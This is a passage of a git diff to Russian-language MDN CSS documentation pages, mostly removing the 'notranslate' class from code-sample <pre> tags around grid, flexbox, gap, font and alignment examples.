class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -339,7 +339,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-area: 1 / 1 / 4 / 2; } .box2 { @@ -375,7 +375,7 @@ original_slug: >- <p>В примере ниже мы "перевернули" определение нашего грида, при размещении элементов задавая линии с конца, то есть, от правого и нижнего краёв.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -396,7 +396,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -404,7 +404,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: -1; grid-column-end: -2; grid-row-start: -1; @@ -436,7 +436,7 @@ original_slug: >- <p>Возможность адресовать и первую, и последнюю линии грида становится крайне полезной, если нам нужно растянуть элемент на всю длину грида. Сделать это можно вот так:</p> -<pre class="brush: css notranslate">.item { +<pre class="brush: css">.item { grid-column: 1 / -1; } </pre> @@ -448,7 +448,7 @@ original_slug: >- <p>Зазоры появляются только между треками и не добавляют пространство сверху, снизу, справа или слева грид-контейнеру. Мы можем добавить зазоры в предыдущий пример, дописав эти свойства грид-контейнеру.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -469,7 +469,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -477,7 +477,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1 ; grid-row: 1 / 4; } @@ -508,7 +508,7 @@ original_slug: >- <p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаём два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); @@ -523,7 +523,7 @@ original_slug: >- <p>В дополнение к возможности обращаться к начальной и конечной линии по их номерам вы можете задать номер начальной линии, а после - количество треков, которые должен занять элемент.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -544,7 +544,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -552,7 +552,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1; grid-row: 1 / span 3; } @@ -574,7 +574,7 @@ original_slug: >- <p>Ключевое слово <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаём начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p> -<pre class="notranslate">.box1 { +<pre>.box1 { grid-column-start: 1; grid-row-start: 1; grid-row-end: span 3; @@ -583,7 +583,7 @@ original_slug: >- <p>Во втором примере поступим наоборот: зададим конечную строчную линию, а в значении свойства, отвечающего за начальную линию, напишем <code>span 3</code>. Это значит, что элемент должен занять три трека до заданной конечной линии. Грид-область начинается с линии 4 и занимает три трека до линии 1.</p> -<pre class="notranslate">.box1 { +<pre>.box1 { grid-column-start: 1; grid-row-start: span 3; grid-row-end: 4; diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html index fe9d21dcb8..1e8690d0ad 100644 --- a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="onedtwod"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -40,7 +40,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -49,7 +49,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: flex; flex-wrap: wrap; } @@ -71,7 +71,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="Two_Dimensional_With_Grid"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -89,7 +89,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -98,7 +98,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } @@ -133,7 +133,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обёртки wrapper установлено свойство {{cssxref("min-height")}}, и оно задаёт высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code> таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -151,14 +151,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: flex; align-items: flex-end; min-height: 200px; @@ -178,7 +178,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаём <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -196,14 +196,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3,1fr); align-items: end; @@ -233,7 +233,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаём структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -251,14 +251,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(auto-fill, 200px); } @@ -271,7 +271,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаём автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -289,14 +289,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); } @@ -317,7 +317,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В примере ниже у нас есть блок-обёртка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещён в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -335,7 +335,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3"> @@ -346,7 +346,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(4,1fr); grid-auto-rows: 200px; @@ -385,7 +385,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Задаём <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига. В данном случае контекстом позиционирования является грид-область.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -403,7 +403,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three @@ -415,7 +415,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(4,1fr); grid-auto-rows: 200px; @@ -453,7 +453,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="Display_Contents_Before"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -477,7 +477,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> @@ -490,7 +490,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); @@ -509,7 +509,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="Display_Contents_After"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -533,7 +533,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> @@ -546,7 +546,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); diff --git a/files/ru/web/css/custom-ident/index.html b/files/ru/web/css/custom-ident/index.html index f39bad2791..1e48ff731e 100644 --- a/files/ru/web/css/custom-ident/index.html +++ b/files/ru/web/css/custom-ident/index.html @@ -59,7 +59,7 @@ translation_of: Web/CSS/custom-ident <h3 id="Действительные_идентификаторы">Действительные идентификаторы</h3> -<pre class="notranslate">nono79 Состоит из букв и цифр +<pre>nono79 Состоит из букв и цифр ground-level Состоит из букв, цифр и дефиса -test Буквы, следующие за одним дефисом _internal Буквы, следующие за нижним подчёркиванием @@ -69,7 +69,7 @@ bili\.bob Буквы и экранированная точка <h3 id="Недействительные_идентификаторы">Недействительные идентификаторы</h3> -<pre class="example-bad notranslate">34rem Не может начинаться с цифры +<pre class="example-bad">34rem Не может начинаться с цифры -12rad Не может начинаться с дефиса, за которым следует цифра bili.bob Только буквы, цифры, _ и - можно не экранириовать --toto Не может начинаться с двух дефисов подряд diff --git a/files/ru/web/css/direction/index.html b/files/ru/web/css/direction/index.html index f1de56062b..10bcafb9b7 100644 --- a/files/ru/web/css/direction/index.html +++ b/files/ru/web/css/direction/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/direction <h2 id="Syntax">Syntax</h2> -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +<pre class="brush:css no-line-numbers">/* Keyword values */ direction: ltr; direction: rtl; @@ -54,7 +54,7 @@ direction: unset; <h3 id="Setting_right-to-left_direction">Setting right-to-left direction</h3> -<pre class="brush: css notranslate">blockquote { +<pre class="brush: css">blockquote { direction: rtl; } </pre> diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html index 339db730a5..fa6ee2b564 100644 --- a/files/ru/web/css/flex-wrap/index.html +++ b/files/ru/web/css/flex-wrap/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/flex-wrap <p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задаёт правила вывода flex-элементов — в одну строку или в несколько, с переносом блоков. Если перенос разрешён, то возможно задать направление, в котором выводятся блоки.</p> -<pre class="brush:css no-line-numbers notranslate">flex-wrap: nowrap; +<pre class="brush:css no-line-numbers">flex-wrap: nowrap; flex-wrap: wrap; flex-wrap: wrap-reverse; @@ -48,7 +48,7 @@ flex-wrap: unset; <h3 id="HTML">HTML</h3> <div id="Live_Sample"> -<pre class="brush: html notranslate"><h4>This is an example for flex-wrap:wrap </h4> +<pre class="brush: html"><h4>This is an example for flex-wrap:wrap </h4> <div class="content"> <div class="red">1</div> <div class="green">2</div> @@ -70,7 +70,7 @@ flex-wrap: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">/* Common Styles */ +<pre class="brush: css">/* Common Styles */ .content, .content1, .content2 { diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html index 29ca239e00..1640f4b970 100644 --- a/files/ru/web/css/font-variant-ligatures/index.html +++ b/files/ru/web/css/font-variant-ligatures/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/font-variant-ligatures <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css notranslate">font-variant-ligatures: normal; +<pre class="brush:css">font-variant-ligatures: normal; font-variant-ligatures: none; font-variant-ligatures: common-ligatures; /* <common-lig-values> */ font-variant-ligatures: no-common-ligatures; /* <common-lig-values> */ @@ -74,7 +74,7 @@ font-variant-ligatures: unset; <h2 id="Примеры">Примеры</h2> -<pre class="brush:css notranslate">p { +<pre class="brush:css">p { font-variant-ligatures: none; } </pre> diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html index 7f659fc14f..36e1569c4f 100644 --- a/files/ru/web/css/font/index.html +++ b/files/ru/web/css/font/index.html @@ -88,7 +88,7 @@ translation_of: Web/CSS/font <h2 id="Примеры">Примеры</h2> -<pre class="brush: css notranslate">/* Set the font size to 12px and the line height to 14px. +<pre class="brush: css">/* Set the font size to 12px and the line height to 14px. Set the font family to sans-serif */ p { font: 12px/14px sans-serif } @@ -112,7 +112,7 @@ p { font: status-bar } <div class="hidden"> <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> Change the radio buttons below to see the generated shorthand and it's effect. </p> <form action="createShortHand()"> @@ -208,7 +208,7 @@ p { font: status-bar } <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">body, input { +<pre class="brush: css">body, input { font: 14px arial; overflow: hidden; } @@ -261,7 +261,7 @@ p { font: status-bar } <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js notranslate">var textAreas = document.getElementsByClassName("curCss"), +<pre class="brush: js">var textAreas = document.getElementsByClassName("curCss"), shortText = "", getCheckedValue, setCss, diff --git a/files/ru/web/css/gap/index.html b/files/ru/web/css/gap/index.html index 016709a2a9..b736666a43 100644 --- a/files/ru/web/css/gap/index.html +++ b/files/ru/web/css/gap/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/gap <h2 id="Syntax">Syntax</h2> -<pre class="brush: css; no-line-numbers notranslate">/* One <length> value */ +<pre class="brush: css; no-line-numbers">/* One <length> value */ gap: 20px; gap: 1em; gap: 3vmin; @@ -70,7 +70,7 @@ gap: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html; notranslate"><div id="flexbox"> +<pre class="brush: html;"><div id="flexbox"> <div></div> <div></div> <div></div> @@ -82,7 +82,7 @@ gap: unset; <h4 id="CSS">CSS</h4> -<pre class="brush: css; highlight[5] notranslate">#flexbox { +<pre class="brush: css; highlight[5]">#flexbox { display: flex; flex-wrap: wrap; width: 300px; @@ -107,7 +107,7 @@ gap: unset; <h4 id="HTML_2">HTML</h4> -<pre class="brush: html; notranslate"><div id="grid"> +<pre class="brush: html;"><div id="grid"> <div></div> <div></div> <div></div> @@ -122,13 +122,13 @@ gap: unset; <h4 id="CSS_2">CSS</h4> <div class="hidden"> -<pre class="brush: css notranslate">#grid { +<pre class="brush: css">#grid { grid-gap: 20px 5px; } </pre> </div> -<pre class="brush: css; highlight[5] notranslate">#grid { +<pre class="brush: css; highlight[5]">#grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); @@ -149,7 +149,7 @@ gap: unset; <h4 id="HTML_3">HTML</h4> -<pre class="brush: html; notranslate"><p class="content-box"> +<pre class="brush: html;"><p class="content-box"> This is some multi-column text with a 40px column gap created with the CSS <code>gap</code> property. Don't you think that's fun and exciting? I sure do! @@ -158,7 +158,7 @@ gap: unset; <h4 id="CSS_3">CSS</h4> -<pre class="brush: css; highlight[3] notranslate">.content-box { +<pre class="brush: css; highlight[3]">.content-box { column-count: 3; gap: 40px; } diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html index 3d8b2e0892..9119b7d34e 100644 --- a/files/ru/web/css/grid-auto-flow/index.html +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/grid-auto-flow <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css no-line-numbers notranslate">/* Ключевые свойства и значения */ +<pre class="brush: css no-line-numbers">/* Ключевые свойства и значения */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; @@ -52,7 +52,7 @@ grid-auto-flow: unset; <h3 id="HTML_Content">HTML Content</h3> -<pre class="brush: html notranslate"><div id="grid"> +<pre class="brush: html"><div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> @@ -69,7 +69,7 @@ grid-auto-flow: unset; <h3 id="CSS_Content">CSS Content</h3> -<pre class="brush: css; highlight[7] notranslate">#grid { +<pre class="brush: css; highlight[7]">#grid { height: 200px; width: 200px; display: grid; @@ -100,7 +100,7 @@ grid-auto-flow: unset; background-color: aqua; }</pre> -<pre class="brush: js; hidden notranslate">function changeGridAutoFlow() { +<pre class="brush: js; hidden">function changeGridAutoFlow() { var grid = document.getElementById("grid"); var direction = document.getElementById("direction"); var dense = document.getElementById("dense"); diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html index 7d1656a041..b5ef29242b 100644 --- a/files/ru/web/css/grid-template-columns/index.html +++ b/files/ru/web/css/grid-template-columns/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/grid-template-columns <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css notranslate">/* Keyword value */ +<pre class="brush: css">/* Keyword value */ grid-template-columns: none; /* <track-list> values */ @@ -85,7 +85,7 @@ grid-template-columns: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">#grid { +<pre class="brush: css">#grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; @@ -101,7 +101,7 @@ grid-template-columns: unset; <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="grid"> +<pre class="brush: html"><div id="grid"> <div id="areaA">A</div> <div id="areaB">B</div> </div></pre> diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html index 4d3f749e17..b14717d8ed 100644 --- a/files/ru/web/css/hyphens/index.html +++ b/files/ru/web/css/hyphens/index.html @@ -19,7 +19,7 @@ translation_of: Web/CSS/hyphens <h2 id="Синтаксис"><font><font>Синтаксис</font></font></h2> -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +<pre class="brush:css no-line-numbers">/* Keyword values */ hyphens: none; hyphens: manual; hyphens: auto; @@ -78,7 +78,7 @@ hyphens: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><dl> +<pre class="brush: html"><dl> <dt><code>none</code>: no hyphen; overflow if needed</dt> <dd lang="en" class="none">An extreme&shy;ly long English word</dd> <dt><code>manual</code>: hyphen only at &amp;hyphen; or &amp;shy; (if needed)</dt> @@ -90,7 +90,7 @@ hyphens: unset; <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">dd { +<pre class="brush: css">dd { width: 55px; border: 1px solid black; } diff --git a/files/ru/web/css/inline-size/index.html b/files/ru/web/css/inline-size/index.html index 065b30334d..beca129e19 100644 --- a/files/ru/web/css/inline-size/index.html +++ b/files/ru/web/css/inline-size/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/inline-size <h2 id="Syntax">Syntax</h2> -<pre class="brush:css no-line-numbers notranslate">/* <length> values */ +<pre class="brush:css no-line-numbers">/* <length> values */ inline-size: 300px; inline-size: 25em; @@ -52,12 +52,12 @@ inline-size: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p class="exampleText">Example text</p> +<pre class="brush: html"><p class="exampleText">Example text</p> </pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">.exampleText { +<pre class="brush: css">.exampleText { writing-mode: vertical-rl; background-color: yellow; inline-size: 110px; diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html index 13a30495e0..57c5dbc398 100644 --- a/files/ru/web/css/justify-content/index.html +++ b/files/ru/web/css/justify-content/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/justify-content <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* Позиционное выравнивание */ +<pre class="brush:css no-line-numbers">/* Позиционное выравнивание */ justify-content: center; /* Выравнивание элементов по центру */ justify-content: start; /* Выравнивание элементов в начале */ justify-content: end; /* Выравнивание элементов в конце */ @@ -109,7 +109,7 @@ justify-content: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">#container { +<pre class="brush: css">#container { display: flex; justify-content: space-between; /* Может быть изменено */ } @@ -124,7 +124,7 @@ justify-content: unset; <div class="hidden"> <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="container"> +<pre class="brush: html"><div id="container"> <div></div> <div></div> <div></div> @@ -148,7 +148,7 @@ justify-content: unset; <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">var justifyContent = document.getElementById("justifyContent"); +<pre class="brush: js">var justifyContent = document.getElementById("justifyContent"); justifyContent.addEventListener("change", function (evt) { document.getElementById("container").style.justifyContent = evt.target.value; diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html index ef73c90d93..0695ab5ecc 100644 --- a/files/ru/web/css/justify-items/index.html +++ b/files/ru/web/css/justify-items/index.html @@ -29,7 +29,7 @@ translation_of: Web/CSS/justify-items <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* Основные ключевые слова */ +<pre class="brush:css no-line-numbers">/* Основные ключевые слова */ justify-items: auto; justify-items: normal; justify-items: stretch; diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html index a0a1200549..983b86da57 100644 --- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -24,7 +24,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation <div class="blockIndicator note"> <p><strong>Примечание</strong>: В приведённом выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p> -<pre class="notranslate">.breadcrumb li:not(:first-child)::before { +<pre>.breadcrumb li:not(:first-child)::before { content: "→"; } </pre> diff --git a/files/ru/web/css/minmax()/index.html b/files/ru/web/css/minmax()/index.html index 090a895d53..f8a1a182d4 100644 --- a/files/ru/web/css/minmax()/index.html +++ b/files/ru/web/css/minmax()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/minmax() --- <p><code><strong>minmax</strong></code><strong><code>()</code></strong> это <a href="/en-US/docs/Web/CSS">CSS</a> ф<span id="result_box" lang="ru"><span>ункция, определяющая диапазон размеров, который больше или равен </span></span><var>min</var><span lang="ru"><span> и меньше или равен </span></span><var>max</var>. Используется в <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grids</a>.</p> -<pre class="brush: css no-line-numbers notranslate">/* <inflexible-breadth>, <track-breadth> values */ +<pre class="brush: css no-line-numbers">/* <inflexible-breadth>, <track-breadth> values */ minmax(200px, 1fr) minmax(400px, 50%) minmax(30%, 300px) @@ -64,7 +64,7 @@ minmax(auto, 300px) <h3 id="CSS">CSS</h3> -<pre class="brush: css; highlight[3] notranslate">#container { +<pre class="brush: css; highlight[3]">#container { display: grid; grid-template-columns: minmax(max-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; @@ -83,7 +83,7 @@ minmax(auto, 300px) <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="container"> +<pre class="brush: html"><div id="container"> <div> Item as wide as the content,<br/> but at most 300 pixels. diff --git a/files/ru/web/css/object-position/index.html b/files/ru/web/css/object-position/index.html index 8df8e52a1f..8b57b7903a 100644 --- a/files/ru/web/css/object-position/index.html +++ b/files/ru/web/css/object-position/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/object-position <h2 id="Syntax">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* значения <position> */ +<pre class="brush:css no-line-numbers">/* значения <position> */ object-position: center top; object-position: 100px 50px; @@ -52,7 +52,7 @@ object-position: unset; <p>Здесь мы видим HTML, содержаний два {{HTMLElement("img")}}-элемента, отображающие логотипы MDN.</p> -<pre class="brush: html notranslate"><img id="object-position-1" 